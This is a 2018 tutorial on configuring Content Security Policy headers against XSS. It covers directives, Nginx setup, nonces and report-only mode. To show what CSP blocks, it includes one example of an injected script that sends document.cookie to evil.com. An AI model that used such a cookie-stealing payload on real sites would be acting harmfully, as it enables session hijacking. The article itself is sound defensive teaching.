Skip to content
⚠️ This article was written in 2018. Some content may be outdated.

Content Security Policy: A Powerful Defense Against XSS

Once CSP is configured, even if an XSS injection succeeds, the attacker cannot load or execute malicious external scripts.

What Is CSP? ​

Content Security Policy is an HTTP response header that tells the browser which resources can be loaded and executed:

http
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com; style-src 'self' 'unsafe-inline'

The browser will refuse to load any resource that doesn't match the policy, including inline scripts.

Common Directives ​

http
# Default policy (for all unspecified resource types)
default-src 'self'

# Script sources
script-src 'self' https://cdn.jsdelivr.net

# Style sources
style-src 'self' 'unsafe-inline'    # allow inline styles (sometimes unavoidable)

# Image sources
img-src 'self' data: https:        # data: allows base64; https: allows all HTTPS images

# Fonts
font-src 'self' https://fonts.gstatic.com

# AJAX/WebSocket requests
connect-src 'self' https://api.example.com wss://ws.example.com

# Prevent embedding in iframes (clickjacking protection)
frame-ancestors 'none'

# Report violations without blocking (for debugging)
report-uri /csp-violation-report

Nginx Configuration ​

nginx
add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self' 'nonce-{random}';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
" always;

Handling Inline Scripts with Nonce ​

If you need inline scripts but don't want to use unsafe-inline, use a nonce:

nginx
# Generate a random nonce for each request
set $nonce "xK2TnVqD8sP3mR7";
add_header Content-Security-Policy "script-src 'self' 'nonce-$nonce'";
html
<!-- Only inline scripts with the correct nonce will execute -->
<script nonce="xK2TnVqD8sP3mR7">
  // This script is allowed
  var config = { apiUrl: "..." };
</script>

<!-- Attacker-injected scripts have no nonce — they won't execute -->
<script>
  fetch("https://evil.com?cookie=" + document.cookie);
</script>

Start with Report-Only Mode ​

Enabling CSP directly may block legitimate functionality. Start with Report-Only mode to observe:

http
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report

No blocking — violations are only sent as reports to /csp-report for debugging.

javascript
// Receive CSP violation reports
app.post(
  "/csp-report",
  express.json({ type: "application/csp-report" }),
  (req, res) => {
    console.log("CSP violation:", req.body);
    // Store in a logging system for analysis
    res.status(204).end();
  },
);

Common CSP Compatibility Issues ​

  • eval(): controlled by unsafe-eval in script-src; some Webpack configurations use it
  • Inline event handlers: <button onclick="..."> is blocked — switch to addEventListener
  • <base> tag: affects relative URL resolution; controlled by base-uri

Summary ​

  • CSP is the last line of defense against XSS — even if a script is injected, it can't execute
  • Start with Report-Only mode, collect violations, then enable full enforcement
  • Nonce is more secure than unsafe-inline
  • frame-ancestors: none also protects against clickjacking

MIT Licensed